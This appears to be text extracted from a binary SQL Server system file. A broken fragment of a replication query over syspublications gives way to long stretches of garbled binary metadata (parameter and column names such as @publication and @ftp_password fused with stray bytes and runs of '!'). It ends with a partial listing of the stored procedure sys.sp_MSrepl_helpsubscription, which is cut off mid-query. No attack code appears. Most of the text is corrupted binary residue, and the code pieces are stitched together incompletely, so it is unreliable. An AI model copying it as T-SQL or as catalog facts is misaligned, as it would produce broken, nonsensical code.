                'publish_to_AD' =       case when ad_guidname is NULL then 0 else 1 end,
                'allow_initialize_from_backup' = allow_initialize_from_backup,
                'replicate_ddl' = replicate_ddl,
                -- PeerToPeer only
                'enabled_for_p2p' = case when (options & @OPT_ENABLED_FOR_P2P) = @OPT_ENABLED_FOR_P2P then 1 else 0 end,
                'publish_local_changes_only' = case when (options & @OPT_PUBLISH_ONLY_LOCAL_CHANGES) = @OPT_PUBLISH_ONLY_LOCAL_CHANGES then 1 else 0 end,
                -- Enabled for heterogeneous subscribers only
                'enabled_for_het_sub' = case when (options & @OPT_ENABLED_FOR_HET_SUB) = @OPT_ENABLED_FOR_HET_SUB then 1 else 0 end,
                --PeerToPeer conflict detection
                'enabled_for_p2p_conflictdetection' = case when (options & @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION) = @OPT_ENABLED_FOR_P2P_CONFLICTDETECTION then 1 else 0 end,
                'originator_id' = originator_id,
                'p2p_continue_onconflict' = case when (options & @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT) = @OPT_ENABLED_FOR_P2P_CONTINUE_ONCONFLICT then 1 else 0 end,
                'allow_partition_switch' = case when (options & @OPT_ALLOW_PARTITION_SWITCH) = @OPT_ALLOW_PARTITION_SWITCH then 1 else 0 end,
                'replicate_partition_switch' = case when (options & @OPT_REPLICATE_PARTITION_SWITCH) = @OPT_REPLICATE_PARTITION_SWITCH then 1 else 0 end
    FROM dbo.syspublications as outter
    WHERE ((name = @publication) or  (@publication = N'%'))
        AND (@skippalcheck = 1 OR (pubid IN (SELECT pubid FROM !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`{-^)D-B0-K@table_name0-O@table_schema0-E@grantor0-E@grantee0-O@table_schema0-E@grantor0-E@grantee0-O@table_server0-Q@table_catalog0-K@table_name0-O@table_schema0-E@grantor0-E@grantee0-tľG@loginame0-tľC@passwd0-tľA@defdb0-tľM@deflanguage0-tľ=@sid0-tľK@encryptopt0-[@destination_object0-Y@destination_owner-0-M@publication0-E@article0-E@coltype0-I@publisher0-
?@type0-88
S@lower_bound_id0-E=@cmd0-EhhA@debug0-C@dbname0-?@type0-hhG@reserved0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-88
Y@subscription_type0-hh[@run_at_distributor0-U@last_xact_seqno0-	Y@subscription_guid0-
A@subid0-
E@objname0-
I@namespace0-00K@agent_type0-hhO@is_publisher0-p88
Qreferencing_id0-p88
]referencing_minor_id0-p00Wreferencing_class0-pxxareferencing_class_desc0-pcreferencing_schema_name0-pcreferencing_entity_name0-phhgis_schema_bound_reference0-p00Ureferenced_class0-BM@publication0-BE@article0-B88
A@objid0-B88
A@artid0-BhhU@identity_insert0-*,$$A@subid0-*,88
?@type0-488
A@pubid0-488
A@artid0-488
I@procmapid0-4E@pubname0-4E@artname0-4I@publisher0-4C@dbname0-4hhM@for_p2p_ddl0-4	88
C@format0-4
hhC@has_ts0-4hhI@has_ident0-4hhA@alter0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-G@property0-A@value0-Q@source_schema0-M@source_name0-W@capture_instance0-hh_@supports_net_changes0-I@role_name0-K@index_name0-_@captured_column_list0-S@filegroup_name0-	hhc@allow_partition_switch-j==0-j
=@lsn0-:M@publication0-:E@article!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~Q<
n
Q

)y 

7
		e X		JWT}<X{*C1}8uv9h!p-Z>H]?`<-;b)Vqe0-|Mpartition_id0-|88
Gobject_id0-|88
Eindex_id0-|88
Upartition_number0-|ain_row_data_page_count0-|ain_row_used_page_count0-|iin_row_reserved_page_count0-|[lob_used_page_count0-|	clob_reserved_page_count0-|
mrow_overflow_used_page_count0-|urow_overflow_reserved_page_count0-|Sused_page_count0-|
[reserved_page_count0-|Grow_count0-C}44Qtrace_event_id0-C}44Strace_column_id0-w~88
Q@security_mode0-w~hhK@islocalpub0-w~M@contextuser0-w~I@publisher0-w~O@publisher_db0-w~M@publication0-ۍO@table_schema0-ۍM@column_name0-ۍE@grantor0-ۍE@grantee0-܂88
Amsgnum0-܂00Eseverity0-܂44?state0-܂4Cmessage0-܂88
Q@plan_guide_id0-e‡I@publisher0-e‡O@publisher_db0-e‡M@publication0-e‡M@distributor0-e‡hhQ@offload_agent0-e‡S@offload_server0-e‡88
Y@subscription_type0-N88
Kprovider_id0-NQsession_handle0-N4Eidentity0-N44=spid0-N88
=@all0-1I@publisher0-1M@publication0-1E@article0-1hhG@defaults0-!I@publisher0-!O@propertyname0-!Q@propertyvalue0-188
S@publication_id0-F@$$A@pubid0-F@$$A@artid0-F@hha@ignore_merge_metadata0-㸀88
Enickname0-㸀88
G@art_nick0-]$$E@rowguid0-]88
I@tablenick0-]00G@metatype0-]$$A@pubid0-]7I@inlineage0-]C@incolv0-]$$q@logical_record_parent_rowguid0-S~88
O@partition_id0-S~@E@genlist0-S~88
U@parent_nickname0-S~$$A@pubid0-S~I@oldmaxgen0-S~C@mingen0-S~C@maxgen0-S~hha@enumentirerowmetadata0-S~	$$e@maxschemaguidforarticle0-I@publisher0-O@publisher_db0-M@publication0-M@description0-$$A@pubid0-88
I@retention0-88
I@sync_mode0-88
K@allow_push0-	88
K@allow_pull0-
88
U@allow_anonymous0-88
W@conflict_logging0-88
C@status0-
88
S@snapshot_ready0-88
_@enabled_for_internet0-88
W@publication_type0-88
[@conflict_retention0-88
e@allow_subscription_copy0-88
a@allow_synctoalternate0-88
]@backward_comp_level0-88
Q@replicate_ddl0-00a@retention_period_unit0-O@replnickname0-88
q@generation_leveling_threshold0-hhy@automatic_reinitialization_policy0-I$$A@pubid0-I$$A@artid88
_@enabled_for_internz+yVEXm$Mh_
h'8k$d
O

n4q$

?
		l	'	\O
s$C_=NYwP9`-X)L F0-a4GDriveName0-a88
Kpdw_node_id0-f,wK@table_name0-f,wO@table_schema0-f,wM@column_name0-f,wO@table_schema0-f,wM@column_name0-f,wO@table_server0-f,wQ@table_catalog0-f,wK@table_name0-f,wO@table_schema0-f,wM@column_name0-88
K@EndpointID0-hhA@IsSSL0-?@Host0-M@QueryString0-I@UserAgent0-t88
Kpdw_node_id0-t@@=type0-t@@=name0-t@@Caddress0-thhIis_passive0-Fw88
?@type0-FwhhY@exclude_anonymous0-FwhhK@check_user0-uG@loginame0-uA@defdb0-9bC@dbname0-9b00Q@new_cmptlevel0-FI@view_name0-FM@view_schema0-dG@acctname0-d
C@option0-d
I@privilege0-88
Cfile_id0-88
Cpage_id0-88
Cslot_id0-W@physical_locator0-sxxSpermission_name0-s=type0-sxA@level0-sA@perms0-$E@devtype0-$M@logicalname0-$O@physicalname0-$44I@cntrltype0-$(I@devstatus0-=M@publication0-=E@article0-=I@view_name0-=ccQ@filter_clause0-=88
Q@change_active0-=hhi@force_invalidate_snapshot0-=hhi@force_reinit_subscription0-=I@publisher0-=	hh_@refreshsynctranprocs0-=
hhG@internal0-$88
G@agent_id0-/I@publisher0-/O@publisher_db0-/M@publication0-/K@subscriber0-/Q@subscriber_db0-/88
K@agent_type0-{I@publisher0-{I@pubdbname0-{e@publisher_linked_server0-{hh[@drop_linked_server0-W@capture_instance0-"Q@function_name0-<S@mapping_option0-M@column_list0-W@update_flag_list0-Q@create_script0-%BhhU@bypass_proc_gen0-Ԋ$$E@guidsrc0-Ԋ$$A@pubid0-Ԋ=@gen0-Ԋ88
G@art_nick0-Ԋ88
[@is_ssce_empty_sync0-Ԋ44[@publication_number0-Ԋ88
O@partition_id0-J$$A@pubid0-J88
S@AlterTableOnly0-J88
Q@schemaversion-፯0-፯I@mapdownbm0-፯;@bmI@pubdbname0-{e@publisher_linked_server0-{hh[@drop_linked_server0-W@capture_instance0-"Q@function_name0-<S@mapping_option0-M@column_list0-W@update_flag_list0-Q@create_script0-%BhhU@bypass_proc_gen0-賴M@publication0-賴hhM@ddl_present0-Ԋ$$E@guidsrc0-Ԋ$$A@pubid0-Ԋ=@gen0-Ԋ88
G@art_nick!Cr/by*Ccf)S
8M
Fr
)
H6

Y

		C	\Y^p%@NFe"]GU`u(=`L-I)[%L0l!0-3\88
Kdatabase_id0-3\88
Gobject_id0-3\88
Ghandle_id0-3\88
Ufile_object_type0-3\x4x_file_object_type_desc0-3\acorrelation_process_id0-3\_correlation_thread_id0-3\Mfile_context0-3\	88
?state0-3\
x4xIstate_desc0-3\88
_current_workitem_type0-3\x4xicurrent_workitem_type_desc0-3\
Afcb_id0-3\||Citem_id0-3\hhMis_directory0-3\4Gitem_name0-3\4Uopened_file_name0-3\4cdatabase_directory_name0-3\4]table_directory_name0-3\4[remaining_file_name0-3\==Gopen_time0-3\88
?flags0-3\88
Elogin_id0-3\4Ilogin_name0-3\UUGlogin_sid0-3\hhKread_access0-3\hhMwrite_access0-3\hhOdelete_access0-3\hhIshare_read0-3\hhKshare_write0-3\hhMshare_delete0-3\ 88
Ycreate_disposition0-M@publication0-K@subscriber0-Q@subscriber_db0-I@publisher-]0-]$$A@artid0-]$$A@pubid-88
0-Q@binary8_value0- P88
Imapping_id0- PKsource_dbms0- PQsource_version0- PKsource_type0- PWsource_length_min0- PWsource_length_max0- P]source_precision_min0- P]source_precision_max0- P	88
Usource_scale_min0- P
88
Usource_scale_max0- PhhSsource_nullable0- P88
[source_createparams0- P
Udestination_dbms0- P[destination_version0- PUdestination_type0- PYdestination_length0- P_destination_precision0- P88
Wdestination_scale0- Phh]destination_nullable0- P88
edestination_createparams0- PhhEdataloss0- PhhIis_default0- PM@source_dbms0- PS@source_version0- PM@source_type0- PW@destination_dbms0- P]@destination_version0- PW@destination_type0- PhhQ@defaults_only-hh0-h$$A@pubid0-h88
O@partition_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!MV	{bUJM<

I
d3R7

N
		]		x-XwbJ9N9`6-i	8)&y0-14_owning_principal_name0-14]owning_principal_sid0-1UUkowning_principal_sid_binary0-14Oinstance_name0-14Yinstance_pipe_name0-188
OOS_process_id0-1==eOS_process_creation_date0-1
4
Iheart_beat-\0-\?@geom0-gO@table_schema0-gM@column_name0-`M@publication0-`K@subscriber0-`Q@subscriber_db0-M@publication0-I@publisher0-8lQtransaction_id0-8l@4@=name0-8l==atransaction_begin_time0-8l88
Utransaction_type0-8l$$Stransaction_uow0-8l88
Wtransaction_state0-8l88
Ytransaction_status0-8l88
[transaction_status20-8l	88
Gdtc_state0-8l
88
Idtc_status0-8l88
[dtc_isolation_level0-8lgfilestream_transaction_id0-8l
88
Kpdw_node_id0-@޲88
A@artid0-@޲00C@format0-@޲00?@mode0-@޲00Q@publishertype0-@޲I@publisher0-NI@publisher0-NS@publisher_type0-Z$$c@regular_snapshot_jobid0-Z_@dynamic_filter_login0-Ze@dynamic_filter_hostname0-Zi@dynamic_snapshot_location0-Zg@dynamic_snapshot_jobname0-Z$$c@dynamic_snapshot_jobid0-Z$$q@dynamic_snapshot_job_step_uid0-Z88
G@freqtype0-Z	88
O@freqinterval0-Z
88
M@freqsubtype0-Z88
U@freqsubinterval0-Z88
_@freqrelativeinterval0-Z
88
_@freqrecurrencefactor0-Z88
U@activestartdate0-Z88
Q@activeenddate0-Z88
_@activestarttimeofday0-Z88
[@activeendtimeofday0-Z88
i@dynamic_snapshot_agent_id0-Z88
O@partition_idtime0-MOsize_in_bytes0-S@component_type0-A@param0-$$;@id0-$$G@step_uid0-?@name0-88
S@frequency_type0-88
[@frequency_interval0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
m@frequency_relative_interval0-	88
m@frequency_recurrence_factor0-
88
Y@active_start_date0-88
U@active_end_date0-88
g@active_start_time_of_day0-
88
c@active_end_time_of_day0-A@login0-G@password0-88
G@proxy_id0-@޲88
A@artid0-@޲00C@format0-@޲00?@mode0-@޲00Q@publishertype0-@޲I@publisher0-NI@publisher0-NS@publisher_type0-Z$$c@regular_snapshot_jobid0-Z_@dynamic_filter_login0-Ze@dynamic_filter_hostname0-Zi@dynamic_snapshot_location0-Zg@dynamic_snapshot_jobname0-Z$$c@dynamic_snapshot_jobid0-Z$$q@dynamic_snapshot_job_step_uid0-Z88
G@freqtype0-Z	88
O@freqinterval0-Z
88
M@freqsubtype0-Z88
U@freqsubinterval0-Z88
_@freqrelativeinterval?l-,56

]

|yVQPI


RS	D	YNEn!8

z
7
	],~/`-f
)u0-FCobjtype0-FCobjname0-F=name0-FbbPP?value0-F?@name0-FK@level0type0-FK@level0name0-FK@level1type0-FK@level1name0-FK@level2type0-FK@level2name0-=name0-88
Gobject_id!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!c7b#`K-%C)	
qcr0-ў88
KCARDINALITY0-ўC@server0-ўE@catalog0-ўC@schema0-ў?@name0-o)4Qag_resource_id0-o)4Oinstance_name0-o)4Gnode_name0-d+O@table_schema0-d+U@constraint_name0-d+Y@constraint_schema0-4FO	W@publication_type0-OC@server0-OE@netname0-N^M@publication0-N^88
C@taskid0-N^K@restricted0-N^PM@sync_method0-N^I@repl_freq0-N^M@description0-N^C@status0-N^
Y@independent_agent0-N^	
S@immediate_sync0-N^

_@enabled_for_internet0-N^
K@allow_push0-N^
K@allow_pull0-N^

U@allow_anonymous0-N^
U@allow_sync_tran0-N^
[@autogen_sync_procs0-N^88
I@retention0-N^
Y@allow_queued_tran0-N^
i@snapshot_in_defaultfolder0-N^]@alt_snapshot_folder0-N^]@pre_snapshot_script0-N^_@post_snapshot_script0-N^
Y@compress_snapshot0-N^M@ftp_address0-N^88
G@ftp_port0-N^W@ftp_subdirectory0-N^I@ftp_login0-N^O@ftp_password0-N^
I@allow_dts0-N^
e@allow_subscription_copy0-N^U@conflict_policy0-N^
a@centralized_conflicts0-N^ 88
[@conflict_retention0-N^!K@queue_type0-N^"e@add_to_active_directory0-N^#[@logreader_job_name0-8I@publisher0-888
Q@versionsmatch0-8S@packageversion0-:KM@publication0-:K88
I@tracer_id0-:KI@publisher0-:KO@publisher_db0-;6=K@subscriber0-;6=88
G@agent_id0-;6=88
K@agent_type-00-0Y@old_database_name0-;+88
]@num_genhistory_rows0-;+88
Y@num_contents_rows0-;+88
[@num_tombstone_rows0-KG@genstart0-K$$A@pubid0-Khhm@return_count_of_generations!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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equency_interval0-+88
m@frequency_relative_interval0-+
88
m@frequency_recurrence_factor0-+88
W@frequency_subday0-+88
i@frequency_subday_interval0-+88
g@active_start_time_of_day0-+88
c@active_end_time_of_day0-+88
Y@active_start_date0-+88
U@active_end_date0-+@a@optional_command_line0-+G@reserved0-+
]@enabled_for_syncmgr0-+W@dts_package_name0-+_@dts_package_password0-+_@dts_package_location0-+a@distribution_job_name0-+(W@backupdevicetype0-+W@backupdevicename0-+Q@mediapassword0-+G@password0-+88
K@fileidhint0-+ hhC@unload0-+!
U@subscriptionlsn0-+"I@publisher0-+#S@publisher_type0-+$00]@subscriptionstreams0-+%00U@subscriber_type!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z,

W

	X	9>/e8pu=`<(AyvS
--
-- Name:    
--          sp_MSrepl_helpsubscription
--          
-- Description: 
--          Lists subscription information associated with a particular publication, article,
--			Subscriber, or set of subscriptions. This stored procedure is executed at a Publisher
--			on the publication database.
--  
-- Security: 
--          Internal
-- Requires Certificate signature for catalog access
--
-- Returns:
--          Result set of subscription properties
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_MSrepl_helpsubscription
(
	@publication	sysname,
	@article		sysname,
	@subscriber		sysname,
	@destination_db	sysname,
	@found			int OUTPUT,
	@publisher		sysname,
	@publisher_type	sysname
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @retcode				int
    DECLARE @subscriber_bit			smallint
    DECLARE @no_row					bit
    DECLARE @srvid					smallint
    DECLARE @pubid					int
    DECLARE @artid					int
    DECLARE @immediate_sync			bit
    DECLARE @subscription_type_id	int
    DECLARE @sync_typeid 			int
    DECLARE @publish_bit			int
    DECLARE @orig_publication		sysname    
    DECLARE @full_subscription		bit
    DECLARE @distributor    		sysname
    DECLARE @distributiondb 		sysname
    DECLARE @distproc       		NVARCHAR(255)
    DECLARE @dbname         		sysname
 
	DECLARE @publication_ids TABLE
	(
		pubid	int
	)
	
	SELECT @publish_bit = 1
    SELECT @distributor = NULL
    SELECT @distributiondb = NULL
    SELECT @distproc = NULL
    SELECT @dbname = NULL
    SELECT @orig_publication = @publication
    SELECT @publisher = ISNULL(@publisher, publishingservername())

	SET @retcode = 0

    /* Security check. To public. */
    /* NOTE: Security check is part of the output after the cursor has been run */

    /*
    ** Check if the database is published.
    */
    IF sys.fn_MSrepl_istranpublished(DB_NAME(),1) <> 1
    BEGIN
        RAISERROR (14013, 16, -1)
        RETURN (1)
    END

    /*
    ** Initializations of @now_row.
    */
    IF @found = 23456 
    BEGIN
        SELECT @no_row=0
    END
    ELSE
    BEGIN
        SELECT @no_row=1
    END

    /*
    ** Initializations.
    */
    SELECT @subscriber_bit = 4

    /*
    ** Parameter Check:  @subscriber.
    */
    IF @subscriber IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@subscriber', 'sp_MSrepl_helpsubscription')
		RETURN (1)
	END

    /*
    ** Parameter Check:  @subscriber.
    ** Check if remote server is defined as a subscription server, and
    ** that the name conforms to the rules for identifiers.
    */

    IF @subscriber <> '%'
	BEGIN

		EXECUTE @retcode = sys.sp_validname @subscriber
		select @subscriber = UPPER(@subscriber)

		IF @retcode <> 0
			RETURN (1)

	END

    /*
    ** Parameter Check:  @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.  Disallow NULL.
    */

    IF @publication IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@publication', 'sp_MSrepl_helpsubscription')
		RETURN (1)
	END

	-- Get list of matching publication id's for
	-- this publisher/type combo
	INSERT INTO @publication_ids
	SELECT pubid
	FROM   sys.fn_IHgetpubid(@publication, @publisher, @publisher_type)
	
    IF @publication <> '%'
	BEGIN
		EXECUTE @retcode = sys.sp_validname @publication

		IF @retcode <> 0
		BEGIN
			RETURN (1)
		END

		IF NOT EXISTS
		(
			SELECT	*
			FROM	@publication_ids
		)
		BEGIN
		   RAISERROR (20026, 11, -1, @publication)
		   RETURN (1)
		END
	END

    /*
    ** Parameter Check:  @article.
    ** If the article name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the article
    ** actually exists.  Disallow NULL.
    **
    ** If @article is 'all', only return one entry for the whole publication
    ** for full subscriptions (subscriptions inlcluding all the articles in a
    ** publication).
    ** 
    */

    IF @article IS NULL
	BEGIN
		RAISERROR (14043, 16, -1, '@article', 'sp_MSrepl_helpsubscription')
		RETURN (1)
	END

    IF LOWER(@article) <> 'all' 
    BEGIN
        IF @article <> '%'
		BEGIN
			IF NOT EXISTS
			(
				SELECT	*
				FROM	sysextendedarticlesview sv,
						@publication_ids pi
				WHERE	sv.name  = @article
				  AND	sv.pubid = pi.pubid
			)
			BEGIN
				RAISERROR (20027, 11, -1, @article)
				RETURN (1)
			END
		END


        IF EXISTS
        (
        	SELECT	* 
              FROM	syssubscriptions sub,
					syspublications pub,
					sysextendedarticlesview art,
					@publication_ids pi
             WHERE	((@subscriber = N'%') OR (sub.srvname = UPPER(@subscriber) ))
				and (sub.srvname is not null and len(sub.srvname)> 0)
				AND	((@publication = N'%') or (pub.name = @publication))
               AND	 ((@article = N'%') or (art.name = @article))
               AND	art.pubid = pub.pubid
               AND	sub.artid = art.artid
               AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db))
               AND	(sub.login_name = suser_sname(suser_sid()) OR 
                    is_srvrolemember('sysadmin') = 1 OR
                    is_member ('db_owner') = 1)
               AND	pub.pubid = pi.pubid
		)
        BEGIN
            SELECT @found = 1
            IF @no_row <> 0 RETURN (0)
        END
        ELSE
        BEGIN
            SELECT @found = 0
            RETURN(0)
        END
    END

    CREATE TABLE #helpsubscription 
    (
		subscriber			sysname collate database_default not null,
		publication			sysname collate database_default not null,
		article				sysname collate database_default not null,
		destination_db		sysname collate database_default not null,
		status				tinyint NOT NULL,
		sync_type			tinyint NOT NULL,
		subscription_type	int NOT NULL,
		full_subscription	bit NOT NULL,
		distribution_jobid	binary(16) NULL,
		subscription_name	nvarchar(386) collate database_default not null,
		-- SyncTran
		update_mode			int NOT NULL,
		loopback_detection	bit not null
    )

    /* Open a CURSOR LOCAL FOR subscriber/destination_db and publication pair 
    **
    ** Get subscriptions
    ** sa or dbo can see every subscriptions while
    ** others only see their own.
    */

    /* 
    ** Performance Optimization: Eliminate the 'LIKE' clause for publication name.
    **                           Empirical evidence shows almost 50% speed improvement when
    **                           opening the cursor if publication name is provided.
    */
    IF (@publication <> '%')
        DECLARE hChelpsubscription_pub CURSOR LOCAL FAST_FORWARD FOR
            SELECT	DISTINCT sub.srvname,
                   	pub.name,
                   	sub.dest_db,
                   	pub.pubid,
                   	sub.srvid,
                   	pub.immediate_sync
              FROM	syssubscriptions sub,
					syspublications pub,
					sysextendedarticlesview art,
					@publication_ids pi
             WHERE	((@subscriber = N'%') OR (sub.srvname = UPPER(@subscriber) ))
				and (sub.srvname is not null and len(sub.srvname)> 0)
               AND	pub.name = @publication collate database_default
               AND	art.pubid = pub.pubid
               AND	sub.artid = art.artid
               AND	((@destination_db = N'%') OR (sub.dest_db = @destination_db))
